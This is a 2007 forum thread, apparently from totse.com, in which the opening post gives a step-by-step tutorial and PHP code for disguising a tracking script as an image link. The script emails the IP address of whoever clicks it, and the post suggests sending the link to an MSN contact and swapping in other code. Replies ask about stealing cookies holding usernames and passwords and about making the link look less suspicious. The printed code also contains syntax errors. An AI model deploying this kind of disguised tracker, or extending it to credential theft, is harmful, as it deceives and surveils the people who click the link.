totse.com | Hiding PHP in an Image

Gazz · #1 2007-04-26, 19:48

1. Get a webhost that supports PHP and make a new folder called /nameofyourimage.jpg/ Yes, it’ll work, you can make folders containing dots.

2. In this folder, create a file called index.php (using notepad > save as or using your favorite web editor).

3. Open the file in you editor and copy-paste the following code:

Code:

<?PHP

$remote_addr = getenv(’REMOTE_ADDR’);

$toaddress = “your@mail.com” // enter your e-mail address here!

$subject = “IP tracket” // This will be subject of the e-mail

$message = ” IP: $remote_addr ” // The message in the mail

$fromname = “profit42.com” // The name of the sender

$fromaddress = “bot@me.com” // The sender’s e-mail

$headers = “MIME-Version: 1.0\n”

$headers .= “Content-type: text/plain; charset=iso-8859-1\n”

$headers .= “X-Priority: 3\n”

$headers .= “X-MSMail-Priority: Normal\n”

$headers .= “X-Mailer: php\n”

$headers .= “From: \”".$fromname.”\” <”.$fromaddress.”>\n”

mail($toaddress, $subject, $message, $headers);

?>

<img src=”nameofyourimage.jpg”>

4. Save and upload the file. Also upload nameofyourimage.jpg to the folder. If you visit the page, you’ll see something like this: http://www.profit42.com/test.jpg

5. Then give someone in your MSN list the link (webhost.com/nameofyourimage.jpg). If he clicks it his/her IP will be mailed to you! Imagine the possibilities…

That’s about everything. With this simple trick you can hide Code in an image. Replace the PHP code with something else, add JavaScript or whatever: use your imagination!

Mutant Funk Drink · #2 2007-04-27, 21:23

Is there a way to make that script email cookies containing usernames and passwords from your victim's computer?

By the way, cool script! +1

dfgremnantsunleashed · #3 2007-04-27, 21:42

Okay here is the original post!
http://www.profit42.com/index.php/20...ore-in-images/
or
Tiny!
http://preview.tinyurl.com/2ysusj

next time at least quote the original author.

Gazz · #4 2007-04-27, 21:58

Quote:

Originally Posted by dfgremnantsunleashed View Post

Okay here is the original post!
http://www.profit42.com/index.php/20...ore-in-images/
or
Tiny!
http://preview.tinyurl.com/2ysusj

next time at least quote the original author.

If I had knew the author I would, It's been posted a stupid amount of times all over the internet. Apologies to the author.

cense · #5 2007-04-27, 22:00

Hold on a second...

This is cool and all, but if people are stupid enough to click links blindly, there are a bajillions ways you can get their IP without any scripting.

Cool idea, but the example you gave is more or less pointless.

Gazz · #6 2007-04-27, 23:32

Quote:

Originally Posted by cense View Post

Hold on a second...

This is cool and all, but if people are stupid enough to click links blindly, there are a bajillions ways you can get their IP without any scripting.

Cool idea, but the example you gave is more or less pointless.

It's pretty much a n00bs guide to getting a persons IP easily.

I disagree it's not pointless, it's handy for some people, if your going to say my topic is pointless you should take a look at some of the topics in this forum that are pretty much tech questions.

cense · #7 2007-04-28, 00:36

Well, I guess you're right.

It's not pointless because it emails the IP but you could just as easily link to a real image and just check the damn web server logs.

lesserlightsofheaven · #8 2007-04-28, 01:19

so could this also potentially be used to steal cookies, since you can basically put any php you want in there?

and also, is it really necessary to have the image in there, I don't quite follow that part. couldn't you just have the blank page there without an image with the same code and the same effect?

Mutant Funk Drink · #9 2007-04-28, 04:40

Quote:

Originally Posted by lesserlightsofheaven View Post

so could this also potentially be used to steal cookies, since you can basically put any php you want in there?

and also, is it really necessary to have the image in there, I don't quite follow that part. couldn't you just have the blank page there without an image with the same code and the same effect?

An image just gives you an excuse to give the person the link and to make it less suspicious. Though the average person wouldn't be smart enough to figure it out anyway.

oddballz194 · #10 2007-04-28, 23:10

Quote:

Originally Posted by cense View Post

Well, I guess you're right.

It's not pointless because it emails the IP but you could just as easily link to a real image and just check the damn web server logs.

Unless you don't control the web server... Then it's kinda hard to check the logs.

Also, you could make the fake jpeg image script do other things besides just email the link to you...